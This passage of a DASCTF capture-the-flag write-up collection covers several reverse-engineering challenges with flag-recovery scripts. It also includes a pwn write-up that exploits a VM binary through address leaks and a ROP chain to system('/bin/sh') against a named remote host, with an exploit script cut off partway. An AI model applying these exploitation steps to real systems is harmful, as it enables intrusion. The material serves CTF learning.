idol0(...)(stage-1 gate), thenidolTop(input("Please enter the flag: ")[7:39]), then comparesstr(result) == str(open('flag.txt').readlines()[0]). idol0: asks for an idol name, lowercases it (globalIDOL), requiresgive_me_string(IDOL)==\x16\x17\x06\x53\x0d\x50\x15.give_me_string(len):seed(35); buildsTheStringsviacharacters[randrange(0, len(length))](7 picks, index range 0..6); returnschr(ord(idol[i]) ^ ord(TheStrings[i])).idolTop:seed(51), reverses input →idol1.idol1: XORs each char with its index; ablist is dead code (its chars are all overwritten withchr(len(b))).idol2: morse string[-30:52].strip('-')(empty — 108-char string, slice start 78 > stop 52), removes dots; appendschr(ord(s[q]) ∓ randint(0,5))(minus for even q, plus for odd q) — deterministic fromseed(51).idol3: reverses, pair-swaps chars, andres = re.sub(email_regex, '', 'Th1s_Is_Fl@g')— the email regex eats the whole prefix (it contains@), soresis only the 32 swapped chars.idol5(d, k)(param order: data, key): RC4 (KSAidol6+ PRGA) with an extra XOR of each byte withlen(d); key =bytes(hex(zlib.crc32(IDOL.encode()))[2:], 'utf-8').- Output length = 32 bytes, matching the 32-byte ciphertext in flag.txt.
Evidence / steps
- Stage 1:
seed(35)→ TheStrings =ecgbfcg→IDOL = sta1k3r(verifiedgive_me_string('sta1k3r')== target). - Key =
bytes('3278cac7', 'utf-8')(crc32 ofsta1k3r). - Decrypt:
res = RC4(key, ct[i] ^ 32)→ 32-char plaintext. - Invert pair-swap (
w[2i]=res[2i+1], w[2i+1]=res[2i]), reverse →t. - Undo randint noise with
seed(51)sequence (t[q] + rands[q]for even q, minus for odd q) →d. - Undo index XOR (
chr(ord(d[q]) ^ q)) and reverse → flag content. - Full round-trip:
str(idolTop('103baab6d786b0fe13c846ecb9f6a0ec'))== exact flag.txt content (verified).
Flag
103baab6d786b0fe13c846ecb9f6a0ec (accepted by platform; full input would be DASCTF{...} with [7:39] slice semantics).
Failed attempts
- uncompyle6: unsupported for 3.9 bytecode (used xdis disassembly instead).
- Initial pipeline reading assumed
idol5(k, d)(key first) and thatTh1s_Is_Fl@gstayed inres— caused length mismatch (44 vs 32 bytes); fixed by readingco_varnames(orderd, k) and noticing the email-regex substitution removes the prefix.
EXP
#!/usr/bin/env python3
# REVERSE-05 idol — solver
# Reconstructs idol.pyc pipeline (CPython 3.9) and inverts it to recover the flag.
import random, string, zlib, re, ast
# ---------- faithful reimplementation of idol.py (from bytecode) ----------
def give_me_string(length):
random.seed(35)
characters = string.ascii_letters + string.digits + string.punctuation
TheStrings = ''
for _ in length:
TheStrings += characters[random.randrange(0, len(length))] # NOTE: len(length), not len(characters)
give = ''
for i in range(len(length)):
give += chr(ord(length[i]) ^ ord(TheStrings[i]))
return give
def idol6(k):
kl = len(k); s = list(range(256)); j = 0
for i in range(256):
j = (j + s[i] + k[i % kl]) % 256
t = s[i]; s[i] = s[j]; s[j] = t
return s
def idol5(d, k): # arg order: (data, key)
s = idol6(k)
i = j = 0; key_len = len(d); result = []
for x in d:
i = (i + 1) % 256
j = (j + s[i]) % 256
t = s[i]; s[i] = s[j]; s[j] = t
K = s[(s[i] + s[j]) % 256]
result.append(ord(x) ^ K ^ key_len)
return bytes(result)
def idol4(d):
if isinstance(d, str): d = d.encode()
return zlib.crc32(d)
def idol3(s):
lg = 0
Strings = list(s); Strings.reverse(); w = ''.join(Strings)
res = re.sub(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]', '', 'Th1s_Is_Fl@g') # email regex eats it -> ''
for i in range(0, len(w), 2):
res += w[lg+1] + w[lg]; lg += 2
return idol5(res, bytes(str(hex(idol4(IDOL)))[2:], 'utf-8'))
def idol2(s):
t = '.. - .----. ... .- -.-. - ..-. . .-. --..-- .- -. -.. .. - -.-. .- -. -... . - .-. .- -. ... .-.. .- - . -..'[-30:52].strip('-')
t = re.sub(r'\.', '', t) # [-30:52] on 108-char string -> '' (morse part is empty)
for q in range(len(s)):
if q % 2 == 0: t += chr(ord(s[q]) - random.randint(0, 5))
else: t += chr(ord(s[q]) + random.randint(0, 5))
return idol3(t)
def idol1(s):
s = list(s)
b = list((string.ascii_lowercase + string.digits)[None:len(s)]) # dead code (b becomes spaces)
for c in range(len(s)): s[c] = chr(ord(s[c]) ^ c)
d = ''.join(s)
for y in range(len(d)): b[y % len(b)] = chr(ord(d[y]) ^ ord(s[y]) + len(b))
return idol2(d)
def idolTop(inp):
random.seed(51)
TheList = list(inp); TheList.reverse()
return idol1(''.join(TheList))
# ---------- stage 1: idol name ----------
target = bytes([0x16, 0x17, 0x06, 0x53, 0x0d, 0x50, 0x15])
random.seed(35)
characters = string.ascii_letters + string.digits + string.punctuation
TheStrings = ''.join(characters[random.randrange(0, 7)] for _ in range(7))
IDOL = ''.join(chr(target[i] ^ ord(TheStrings[i])) for i in range(7))
assert IDOL.lower() == IDOL and give_me_string(IDOL).encode('latin-1') == target
print("idol:", IDOL)
# ---------- stage 2: decrypt flag.txt ----------
ct = ast.literal_eval(open('flag.txt', 'rb').read().decode()) # repr of 32 ciphertext bytes
key = bytes(str(hex(zlib.crc32(IDOL.encode())))[2:], 'utf-8')
def rc4(key, data):
s = idol6(key)
i = j = 0; out = []
for x in data:
i = (i + 1) % 256
j = (j + s[i]) % 256
t = s[i]; s[i] = s[j]; s[j] = t
out.append(x ^ s[(s[i] + s[j]) % 256])
return bytes(out)
res = rc4(key, bytes(b ^ len(ct) for b in ct)) # undo extra XOR with key_len=32, then RC4
assert len(res) == 32
# invert idol3 pair-swap: res[2i]=w[2i+1], res[2i+1]=w[2i]
w = bytes(v for i in range(0, len(res), 2) for v in (res[i+1], res[i]))
t = w[::-1] # w = reversed(t)
# invert idol2 randint noise (deterministic: seed(51))
random.seed(51)
rands = [random.randint(0, 5) for _ in range(len(t))]
d = [chr(t[q] + rands[q]) if q % 2 == 0 else chr(t[q] - rands[q]) for q in range(len(t))]
# invert idol1 XOR-with-index, then idolTop reversal
s_input = ''.join(chr(ord(d[q]) ^ q) for q in range(len(d)))
flag_content = s_input[::-1]
assert str(idolTop(flag_content)) == open('flag.txt', 'rb').read().decode().strip()
print("FLAG content:", flag_content)
print("full input : DASCTF{%s}" % flag_content)REVERSE-06
sm4rev Writeup
Flag
DASCTF{SM4_is_secure_but_d0nt_t3ll_any0ne!}附件 sm4rev 表面是一个 shell 脚本,实际上是 makeself 风格的自解压程序:前 48 行为解压脚本,从第 49 行开始是 gzip 压缩的真实二进制。
tail -n +49 sm4rev | gzip -cd > sm4_rev.bin
file sm4_rev.bin
# ELF 64-bit LSB executable, x86-64, statically linked, stripped得到约 1.9MB 的静态链接 stripped ELF(C++ 编写)。
逆向过程
1. 定位 main
通过字符串 "please input flag: "(.rodata VMA 0x57a005)交叉引用找到 main 于 0x404f28:
- 输出提示语,读入 flag(std::string)
- 调用验证函数
sub_404cb0(str, len) - 返回值非零输出
right!,否则输出wrong!
2. 验证函数 sub_404cb0
函数开头在栈上初始化两块关键数据:
SM4 密钥(16 字节,标准 SM4 示例密钥):
0xEFCDAB8967452301, 0x1032547698BADCFE
→ 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10期望密文(48 字节 = 3 个分组):
82 5d ad 7d f7 4b de 01 dc 9e 6a 43 06 6c 45 4f
85 0d 69 6d 4e 91 84 65 42 22 d8 b0 32 c5 ab 2d
83 d3 a8 69 83 5b 20 3e 3a bc 5e 12 24 37 35 bf随后循环处理输入:
- 每 16 字节为一个分组,调用
sub_40506a(ctx, in, out)加密 - 将加密结果逐字节与期望密文比较,全部相等则返回 1
3. 确认算法为 SM4
sub_40506a 特征明显:
- 输入按大端序装入 4 个 32 位字
X[i+4] = X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i])- T 变换 = S盒(tau)+ 线性变换 L(含
rol 8/16、ror 8等旋转,T-table 位于0x57a140) - 输出反序(X35,X34,X33,X32)
即标准 SM4 分组加密(ECB 模式逐块加密)。
求解
用 Python 实现 SM4,先用标准测试向量验证实现正确性:
key = 0123456789abcdeffedcba9876543210
pt = 0123456789abcdeffedcba9876543210
ct = 681edf34d206965e86b3e94f536e4246 ✓然后将轮密钥逆序(SM4 解密 = 加密结构 + 逆序轮密钥),解密 48 字节期望密文:
DASCTF{SM4_is_secure_but_d0nt_t3ll_any0ne!}\x05\x05\x05\x05\x05尾部 \x05*5 是 PKCS#7 填充,去除后即 flag。
解密脚本(关键部分):
key = bytes.fromhex('0123456789abcdeffedcba9876543210')
rk = rks([int.from_bytes(key[i*4:i*4+4],'big') for i in range(4)])
ct = bytes.fromhex('825dad7df74bde01dc9e6a43066c454f'
'850d696d4e9184654222d8b032c5ab2d'
'83d3a869835b203e3abc5e12243735bf')
flag = b''.join(crypt_block(ct[i:i+16], rk[::-1]) for i in range(0, 48, 16))验证
在 Linux 环境中运行原程序确认:
$ echo 'DASCTF{SM4_is_secure_but_d0nt_t3ll_any0ne!}' | ./sm4_rev.bin
please input flag: right!REVERSE-07
QRCodeWorld
Flag: DASCTF{e45e144f-fe2a-4d49-9f3f-1af4f9df0244}\n解法: Unity IL2CPP 加壳脱壳(Unicorn 模拟)→ Cpp2IL 代码还原 → 元数据 QR 矩阵提取 → 解码
题面
附件为 Unity IL2CPP 游戏(Unity 2022.3.16f1,metadata v29.1):GameAssembly.dll + global-metadata.dat。提示为“flag就在你脚下”,flag 被渲染成地面上的 QR 码。
攻击流程
Step 1:场景结构确认
UnityPy 读取场景 level1:唯一 MonoBehaviour 为 QRCodeGenerator,无序列化数据,QR 载荷由代码构建。
Step 2:脱壳 GameAssembly.dll
DLL 被自定义 aPLib 风格 LZ 壳压缩(节 DAS0/DAS1/DAS2,EP stub 0x18349d790,OEP 0x1806cdd90;DAS0 为 45MB 纯虚拟节)。用 Unicorn 模拟 EP stub,hook LoadLibraryA/GetProcAddress/VirtualProtect(IAT 槽 0x18349e140/148/150),dump 出 45MB 脱壳镜像(unpack.py → GameAssembly_unpacked.dll)。
Step 3:Cpp2IL 还原代码
对脱壳 DLL 运行 Cpp2IL,得到 Assembly-CSharp 的 ISIL:
.ctor:qrCodeData = new int[29,29],经RuntimeHelpers.InitializeArray从字段默认值 blob 填充。Start() → GenerateQRCode():遍历i,j in 0..29,对qrCodeData[i,j] == 1的格子在地面摆放黑色方块,即渲染 29×29 QR 矩阵。
Step 4:从元数据提取 QR 矩阵
初始化数据位于 global-metadata.dat 的 Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData 节。解析头(注意是 {Offset, Size} 字节数段头而非计数)+ 扫描 841 个 int32 全 0/1 窗口(暗模块数平衡),在偏移 0x1c3070 处找到矩阵(421 个暗模块)。
Step 5:渲染 + 解码
29×29 渲染成带静区的 PNG,用 pyzbar 解码。
EXP
#!/usr/bin/env python3
"""
QRCodeWorld — solve script.
The flag is "under your feet": the game QRCodeWorld (Unity IL2CPP) renders a
ground QR code from QRCodeGenerator.qrCodeData, a 29x29 int[,] initialized via
RuntimeHelpers.InitializeArray from the field's default-value blob stored in
global-metadata.dat (Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData).
This script:
1. Parses the IL2CPP global-metadata.dat header to locate the
fieldAndParameterDefaultValueData section.
2. Finds the 29*29 = 841-int32 window whose values are all 0/1 and balanced
(the QR module matrix; 200 < dark modules < 650).
3. Renders it as a PNG (with quiet zone) and decodes it with pyzbar.
Output: the flag DASCTF{...}
"""
import struct
import numpy as np
from PIL import Image
import pyzbar.pyzbar as pyzbar
METADATA = "qrcodeworld/QRCodeWorld_Data/il2cpp_data/Metadata/global-metadata.dat"
SIZE = 29 # qrCodeData = new int[29,29] (from QRCodeGenerator .ctor)
def section(meta, off):
"""Read an Il2CppGlobalMetadataSectionHeader {Offset, Size} at file offset `off`."""
o, s = struct.unpack_from("<II", meta, off)
return o, s
def find_qr_blob(meta):
# fieldAndParameterDefaultValueData is the 9th header section -> file offset 8+8*8=72
fapd_off, fapd_size = section(meta, 72)
data = meta[fapd_off:fapd_off + fapd_size]
a = np.frombuffer(data, dtype="<u4")
n = SIZE * SIZE
for i in range(0, len(a) - n + 1):
w = a[i:i + n]
if np.all((w == 0) | (w == 1)):
ones = int(w.sum())
if 200 < ones < 650: # balanced QR matrix
return w.reshape(SIZE, SIZE), fapd_off + i * 4
raise RuntimeError("QR blob not found")
def render(grid, quiet=4, scale=10):
h, w = grid.shape
img = np.ones((h + 2 * quiet, w + 2 * quiet), dtype=np.uint8) * 255
img[quiet:quiet + h, quiet:quiet + w] = np.where(grid == 1, 0, 255)
return Image.fromarray(img).resize(((w + 2 * quiet) * scale, (h + 2 * quiet) * scale), Image.NEAREST)
def main():
meta = open(METADATA, "rb").read()
assert struct.unpack_from("<I", meta, 0)[0] == 0xFAB11BAF, "bad metadata magic"
grid, off = find_qr_blob(meta)
print(f"[*] QR matrix found at metadata offset 0x{off:x}")
im = render(grid)
im.save("/workspace/qr_flag.png")
res = pyzbar.decode(im)
for r in res:
print("[+] FLAG:", r.data.decode())
if not res:
print("[-] decode failed")
return res[0].data.decode() if res else None
if __name__ == "__main__":
main()REVERSE-08
REVERSE-08 — zistel (Zig static ELF)
Flag
DASCTF{z1g_I3_S0_Coo0l!} — platform accepted inner content z1g_I3_S0_Coo0l!.
Approach
Static analysis of a 11KB stripped Zig ELF (zistel), which asks “Input Flag: “ and checks a 16-byte input via a custom 20-round Feistel cipher. No dynamic binary analysis tool was needed beyond a few self-made patches used as an oracle.
Evidence / Steps
- Strings & layout:
.rodataat0x10001e0holds the check-index table{0,12,8,4}; key bytes at0x1000730=58 31 29 33 11 02 76 60 46 5f 18 42 29 6f 74 63; the 4 dwords cover all 16 bytes of the transformed output, sotransform(flag16) == key16. - Main check (
0x10022bd): reads 16 bytes, calls0x10024a4(flag, 0x1004790, out), then requiresout[i] ^ key[i] == 0for i in {0,12,8,4}. - Transform (
0x10024a4): two 8-byte blocks, each a 20-round Feistel:(L,R) -> (R, L ^ g(w[r], R)), output block =R20 || L20. - Round function
g(w,R) = P(R ^ w) ^ wwherePis a 4-byte permutation driven by key bytes: for i in 0..3 swapA[i] <-> A[K[i]&3](K = w bytes). (0x10026f0misidentified as bswap — it is actually identity; verified by patching the binary to print its output for0x11223344.) - Key schedule (
0x100257d):w[0] = seed ^ 0xdeadbeef,w[1] = w[0] ^ 0xbeefdead,w[i] = w[i-2]^w[i-1]; seed = dword"love"=0x65766f6cat.data 0x1004790(verified by patching binary to dump the w table:[0xbbdbd183, 0x05340f2e, 0xbeefdead]repeating). - Oracle validation: patched binary (dump output at
0x10022e3, round count0x14->0x01) confirmedgexactly, e.g.enc(0^16) = 38 00 58 60 ×4,enc('A'*16) = 7941192138005860 ×2. - Decrypt
keywith reversed rounds →z1g_I3_S0_Coo0l!; re-encryption matches, and running the unmodified binary prints “Correct!” for that input.
Failed attempts
- Initial model used bswap in
gand w0=0xb24cc88a→ garbage; caused by misreading0x10026f0as byte-swap (it rebuilds the dword in original order = identity) and by an arithmetic slip on the seed XOR. Resolved via oracle queries and the patched w-table dump. DASCTF{...}wrapper rejected by platform; inner content accepted (per event rules).
EXP
#!/usr/bin/env python3
# REVERSE-08 (zistel, Zig static ELF) — 20-round Feistel cipher keyed by "love".
# Re-derives DASCTF{z1g_I3_S0_Coo0l!} from the attachment.
import struct
MASK = 0xffffffff
# --- key schedule (from 0x100257d): w[0]=seed^0xdeadbeef, w[1]=w[0]^0xbeefdead, w[i]=w[i-2]^w[i-1]
seed = 0x65766f6c # dword "love" at 0x1004790 (.data)
w = [0] * 20
w[0] = seed ^ 0xdeadbeef
w[1] = w[0] ^ 0xbeefdead
for i in range(2, 20):
w[i] = w[i - 2] ^ w[i - 1]
def swap4(A, wk):
"""byte permutation driven by key bytes (0x100261b swap loop)."""
Ab = list(A.to_bytes(4, 'little'))
Kb = wk.to_bytes(4, 'little')
for i in range(4):
j = Kb[i] & 3
Ab[i], Ab[j] = Ab[j], Ab[i]
return int.from_bytes(bytes(Ab), 'little')
def g(R, wk):
return (swap4(R ^ wk, wk) ^ wk) & MASK
def enc(b8):
L = int.from_bytes(b8[0:4], 'little')
R = int.from_bytes(b8[4:8], 'little')
for i in range(20):
L, R = R, (L ^ g(R, w[i])) & MASK
return R.to_bytes(4, 'little') + L.to_bytes(4, 'little')
def dec(b8):
R20 = int.from_bytes(b8[0:4], 'little')
L20 = int.from_bytes(b8[4:8], 'little')
L, R = L20, R20
for i in range(19, -1, -1):
L, R = (R ^ g(L, w[i])) & MASK, L
return L.to_bytes(4, 'little') + R.to_bytes(4, 'little')
# expected ciphertext = 16 key bytes at 0x1000730 (checked at indices {0,12,8,4})
key = bytes.fromhex("5831293311027660465f1842296f7463")
plain = dec(key[0:8]) + dec(key[8:16])
assert enc(plain[0:8]) + enc(plain[8:16]) == key
print("flag content:", plain.decode())
print("flag: DASCTF{%s}" % plain.decode())REVERSE-09
REVERSE-09 — bouquet.exe
Approach
Static reverse engineering of the PE32 (i386, MSVC) bouquet.exe.
Evidence
- Strings in
.rdata:Plz input flag:, two 25-char scrambled stringsj7aw_sC3addq4TAo}8_Fda{SD(0x417b44) andja7Cws_A3daTd4qDo8}F_Sd{a(0x417c1c),wrong. main(0x4158d0):- reads input, requires length == 25 (cmp [ebp-0x140], 0x19)
- builds a complete binary tree by level-order/BFS insertion from the input chars (queue
nodes[];node()constructor = 0x411760; children at 2i+1/2i+2) - check 1 (hidden inside junk code region 0x415adc–0x415ae0:
74 03 75 01 e8with overlapping decode): call 0x4113cf → inorder check func 0x415540 - check 2: call 0x4113d4 → postorder check func 0x411d30
- Traversal functions (both take node + index ptr, print “wrong” on mismatch):
- 0x415540 (inorder): left recurse → compare node data vs s2[idx++] → right recurse
- 0x411d30 (postorder): left recurse → right recurse → compare vs s1[idx++]
- The junk code (花指令) at 0x415adc:
74 03/75 01/e8 c7...is never executed as written; real flow jumps into the middle (0x415ae1→c7 85 ...).
Steps
- Extract strings; find references; identify traversal order by call placement (left/node/right = inorder; left/right/node = postorder).
- Since the tree is built level-order from the input, the input IS the level-order traversal. Given fixed tree shape (25-node complete tree) plus inorder
ja7Cws_A3daTd4qDo8}F_Sd{aand postorderj7aw_sC3addq4TAo}8_Fda{SD, reconstruct node values (root = last postorder elem, split inorder at root). - Read level-order of reconstructed tree → flag.
Flag
DASCTF{asd48_daj7w_3adqo} (submitted inner content asd48_daj7w_3adqo; platform accepted)
EXP
python3 solve.py — reconstructs and verifies both traversals.
#!/usr/bin/env python3
# REVERSE-09: bouquet.exe
# Binary: reads 25-char input, builds a complete binary tree via BFS/level-order
# insertion, then verifies:
# inorder traversal == "ja7Cws_A3daTd4qDo8}F_Sd{a" (func 0x415540)
# postorder traversal == "j7aw_sC3addq4TAo}8_Fda{SD" (func 0x411d30)
# (junk-code region 0x415adc-0x415ae0 hides the inorder check call)
# Since the tree is built level-order from the input, the input (flag) IS the
# level-order sequence. Reconstruct node values from inorder+postorder.
inorder = "ja7Cws_A3daTd4qDo8}F_Sd{a"
postorder = "j7aw_sC3addq4TAo}8_Fda{SD"
assert len(inorder) == len(postorder) == 25
def build(ino, post):
if not ino:
return None
root = post[-1]
k = ino.index(root)
return (root, build(ino[:k], post[:k]), build(ino[k+1:], post[k:-1]))
tree = build(inorder, postorder)
from collections import deque
q = deque([tree])
level = []
while q:
node = q.popleft()
level.append(node[0])
if node[1]: q.append(node[1])
if node[2]: q.append(node[2])
flag = ''.join(level)
print("level-order (flag):", flag)
# verification
def tin(t): return (tin(t[1]) + t[0] + tin(t[2])) if t else ''
def tpo(t): return (tpo(t[1]) + tpo(t[2]) + t[0]) if t else ''
assert tin(tree) == inorder
assert tpo(tree) == postorder
print("verified: inorder & postorder match embedded strings")PWN
PWN-02
1. 题目信息
- 题目:
mvmph - 附件:
vvmm、libc.so.6 - 远端:
1.14.76.59:32547 - 最终 flag:
DASCTF{67126353521039200926297497409404}
2. 保护与初步分析
vvmm 是 stripped 的 amd64 PIE ELF,保护如下:
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled附带的 libc 为:
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8)Full RELRO 排除了直接覆盖 GOT,NX 排除了直接执行输入的 VM 字节码,PIE 和 ASLR 则要求先泄漏地址。虽然 ELF 属性里存在 SHSTK/IBT 标记,但远端没有实际阻止本次普通 ROP 链。
程序只输出一行提示:
Please input your opcodes:导入函数中有 read、write、malloc、free、open、rand、srand、exit 和 _exit,说明 VM 内部实现了一组宿主调用。
3. main 与 VM 状态结构
main 位于 PIE 偏移 0x2ca6。核心逻辑可以还原成:
int main(void) {
setup_stdio();
puts("Please input your opcodes:");
vm.code = code_buffer; // PIE + 0x50e0
read(0, code_buffer, 0x1000);
vm.pc = 0;
vm.r[6] = malloc(0x2000) + 0x1000; // 真实宿主堆指针
chunk_table = malloc(0x90);
seed = read_u32_from_urandom();
srand(seed);
malloc((rand() % 32) * 0x200); // 随机堆布局噪声
run_vm(&vm);
}根据各个 handler 对字段的访问,可以还原 VM 结构:
struct VM {
uint8_t *code; // +0x00,PIE + 0x50e0
uint32_t pc; // +0x08
uint32_t padding; // +0x0c
uint64_t r[7]; // +0x10 ~ +0x40
uint8_t cmp_flag; // +0x48
};关键静态偏移为:
| 对象 | PIE 偏移 |
|---|---|
vm |
0x5080 |
vm.r0 |
0x5090 |
vm.r3 |
0x50a8 |
vm.r6 |
0x50c0 |
| VM 字节码缓冲区 | 0x50e0 |
puts@GOT |
0x4f88 |
r6 被初始化为 malloc(0x2000) + 0x1000,因此它不是虚拟偏移,而是一个完整的宿主堆地址。这是后续拼地址的高 32 位来源。
4. VM 指令格式
每条指令的第一个字节编码为:
first_byte = (opcode << 2) | mode低两位是寻址模式:
| mode | 后续操作数 | 说明 |
|---|---|---|
| 0 | 3 字节立即数 | 24 位大端立即数 |
| 1 | 1 字节寄存器号 | 单寄存器 |
| 2 | 2 个寄存器号 | 双寄存器 |
| 3 | 寄存器号 + 4 字节立即数 | 32 位小端立即数 |
利用中需要的指令很少:
| opcode | 作用 |
|---|---|
0x03 |
mov |
0x0a |
add |
0x0b |
sub |
0x33 |
调用宿主函数 |
对应编码函数如下:
def rr(op, dst, src):
return bytes([(op << 2) | 2, dst, src])
def ri(op, reg, imm):
return bytes([(op << 2) | 3, reg]) + p32(imm)
def ii(op, imm):
return bytes([op << 2]) + imm.to_bytes(3, "big")解释器还限制 pc <= 0x800,因此完整利用字节码必须控制在 0x800 字节以内。
次要问题:双寄存器校验错误
mode 2 的解析逻辑等价于:
if (invalid(reg1)) {
if (invalid(reg2))
return -1;
}因此只要两个寄存器中有一个合法,整条指令就会被接受,可以用另一个越界寄存器号访问 VM 后方的 BSS/字节码缓冲区。这个问题可用于调试和搬运数据,但最终利用链并不依赖它。
5. 宿主调用接口
opcode 0x33 的 mode 0 handler 位于 0x1906。它取立即数作为宿主调用编号,并把 r0 至 r5 作为参数传给 0x1669 的 dispatcher:
0 -> read(r0, r1, r2)
1 -> write(r0, r1, r2)
2 -> exit(r0)
3 -> VM chunk malloc
4 -> VM chunk freemode 0 版本直接把 VM 寄存器中的值作为宿主指针使用,没有把 r1 限制为 VM 字节码偏移。因此,只要能构造一个宿主地址,就能通过:
r0 = 1; r1 = address; r2 = size; host_call(1)读取任意宿主内存;也能通过:
r0 = 0; r1 = address; r2 = size; host_call(0)向任意宿主内存写入数据。
难点只剩下如何得到第一个宿主 PIE/BSS 指针。
6. 漏洞根因:保留高 32 位的错误回写
宿主 dispatcher 返回以后,handler 在 0x195f 执行:
195f: mov rax, [rbp-0x8] ; rax = vm
1963: add rax, 0x10 ; rax = &vm->r0
1967: mov dword ptr [rax], eax最后一条指令的目标地址是 &vm->r0,而写入值又是该地址本身的低 32 位。因为这是一次 32 位内存写,r0 原有的高 32 位不会改变:
*(uint32_t *)&vm->r[0] = (uint32_t)(uintptr_t)&vm->r[0];先执行:
r0 = r6
host_call(99)调用编号 99 不在 dispatcher 的 0..4 范围内,不会产生危险副作用,但返回后的错误回写仍会发生。于是:
r0.high32 = r6.high32
r0.low32 = (&vm->r0).low32远端环境中 PIE 与主堆都位于 0x55... 区域,并共享高 32 位,因此:
r0 = (r6 & 0xffffffff00000000)
| ((&vm->r0) & 0x00000000ffffffff)
= &vm->r0一次远端探针中得到:
r6 = 0x5591978a82a0
拼接后的 &r0 = 0x55919657c090两者的高 32 位均为 0x00005591,拼接结果可直接访问 BSS。
获得完整 &vm->r0 后立刻复制到 r4 保存,因为后续每次宿主调用都会再次破坏 r0 的低 32 位:
mov r0, r6
host_call 99
mov r4, r0 # r4 永久保存 &vm->r07. 泄漏 PIE
已知:
&vm->r0 = PIE + 0x5090
vm = &vm->r0 - 0x10因此令:
r1 = r4 - 0x10
r0 = 1
r2 = 0x60
host_call 1即可把整个 VM 头部写回连接。VM 结构的第一个 qword 是 code 指针:
vm.code = PIE + 0x50e0所以:
code_ptr = u64(vm_dump[:8])
pie_base = code_ptr - 0x50e08. 泄漏 libc
提示字符串在进入 VM 前已经通过 puts 输出,因此 puts@GOT 已完成 lazy binding。其地址为:
puts@GOT = PIE + 0x4f88从 &vm->r0 到该 GOT 项的差值是:
0x5090 - 0x4f88 = 0x108令 r1 = r4 - 0x108,再执行 write(1, r1, 8),即可得到 puts 的真实地址。
附件 libc 中:
puts offset = 0x80e50所以:
libc_base = leaked_puts - 0x80e50本次利用使用的 libc 偏移如下:
| 符号或 gadget | libc 偏移 |
|---|---|
puts |
0x80e50 |
system |
0x50d70 |
exit |
0x455f0 |
environ |
0x222200 |
"/bin/sh\0" |
0x1d8678 |
ret |
0x29139 |
pop rdi; ret |
0x2a3e5 |
9. 构造可交互的任意地址读取
r4 保存着 &r0,所以:
&r3 = &r0 + 3 * 8 = r4 + 0x18可用宿主 read 从网络接收一个 64 位地址并直接写入 r3:
r1 = r4 + 0x18 # &r3
r0 = 0
r2 = 8
host_call 0 # read(0, &r3, 8)之后令 r1 = r3 并执行宿主 write,就能泄漏任意地址:
r1 = r3
r0 = 1
r2 = length
host_call 1这使 Python 脚本可以在 VM 执行过程中分阶段计算地址并回传给 VM,而不必提前知道 ASLR 地址。
10. 泄漏栈并定位当前返回地址
已知 libc 基址后,先把:
libc_base + environ_offset发送给 VM,泄漏 environ 中保存的栈指针。随后从:
environ_value - 0x4000开始泄漏 0x4000 字节栈内存。
不能只搜索一个 PIE 返回地址,因为栈上可能残留旧值。当前 host_call 调用链具有稳定的三段特征:
| 相对候选槽位置 | 应出现的值 | 含义 |
|---|---|---|
+0x00 |
PIE + 0x195b |
dispatcher 返回到宿主调用 handler |
+0x30 |
PIE + 0x2bc3 |
handler 返回到 VM 解释器 |
+0x60 |
PIE + 0x2d8f |
解释器返回到 main |
同时匹配这三个值,可以唯一确定当前 dispatcher 栈帧的 saved RIP 地址。脚本中的逻辑为:
for off in range(0, len(stack) - 0x68, 8):
if stack[off:off+8] != p64(pie + 0x195b):
continue
if stack[off+0x30:off+0x38] != p64(pie + 0x2bc3):
continue
if stack[off+0x60:off+0x68] != p64(pie + 0x2d8f):
continue
return_slot = stack_start + off关键点是:泄漏栈时使用的 write 和最终覆盖时使用的 read 都经过同一个 opcode 0x33 handler,调用深度完全相同,因此后续 read 执行时 saved RIP 仍在同一地址。
11. 覆盖 saved RIP 并执行 ROP
把定位到的 return_slot 发送给 VM,令 r3 = return_slot,最后执行:
r0 = 0
r1 = r3
r2 = 40
host_call 0 ### read(0, return_slot, 40)这次 read 正在 dispatcher 内执行;它把自己的 saved RIP 覆盖为 ROP 链。read 返回后,dispatcher 执行 leave; ret,立即进入 ROP。
ROP 链共 5 个 qword:
chain = flat(
libc_base + 0x29139, # ret,修正 16 字节栈对齐
libc_base + 0x2a3e5, # pop rdi; ret
libc_base + 0x1d8678, # "/bin/sh"
libc_base + 0x50d70, # system
libc_base + 0x455f0, # exit
)额外的 ret 用来满足 system 对 SysV ABI 栈对齐的要求。
最终 read 的长度被精确设置为 40 字节。脚本可以在同一个 TCP 包中发送:
40 字节 ROP 链 || shell 命令VM 的 read 只消费前 40 字节,后面的命令保留在 socket 缓冲区中,成为 /bin/sh 的标准输入:
cat /flag*; cat ./flag*; exit12. 完整利用流程
1. r0 = r6,保留真实堆地址的高 32 位
2. host_call(99),错误回写 &vm->r0 的低 32 位
3. 得到完整 &vm->r0,并保存至 r4
4. 泄漏 vm.code,计算 PIE base
5. 泄漏 puts@GOT,计算 libc base
6. 泄漏 libc.environ,得到栈地址
7. 泄漏 0x4000 字节栈窗口
8. 用 0x195b / 0x2bc3 / 0x2d8f 三段特征定位当前 saved RIP
9. 通过宿主 read 覆盖该 saved RIP
10. ROP 调用 system("/bin/sh")
11. shell 读取 flag13. 远端验证
一次完整远端运行得到:
[+] PIE base = 0x5586797e9000
[+] libc base = 0x7fdd06be1000
[+] environ = 0x7fffdd4dc5f8
[+] return slot = 0x7fffdd4dc458
DASCTF{67126353521039200926297497409404}14. 复现
确保 solve.py 与附件的 libc.so.6 在同一目录,安装 pwntools 后执行:
python3 -m pip install pwntools
python3 solve.py交付目录中的 solve.py 已针对题目给出的远端地址配置完成,并经过实际远端验证。
EXP
#!/usr/bin/env python3
from pathlib import Path
import struct
from pwn import ELF, ROP, context, p64, remote, u64
HOST = "1.14.76.59"
PORT = 32547
BANNER = b"Please input your opcodes:\n"
# Offsets in the PIE reconstructed from the supplied vvmm binary.
VM_R0 = 0x5090
CODE_BUFFER = 0x50E0
PUTS_GOT = 0x4F88
# The final VM read overwrites this many bytes at its own wrapper return slot.
CHAIN_QWORDS = 5
CHAIN_SIZE = CHAIN_QWORDS * 8
STACK_WINDOW = 0x4000
def rr(op: int, dst: int, src: int) -> bytes:
"""Mode 2: two register operands."""
return bytes([(op << 2) | 2, dst, src])
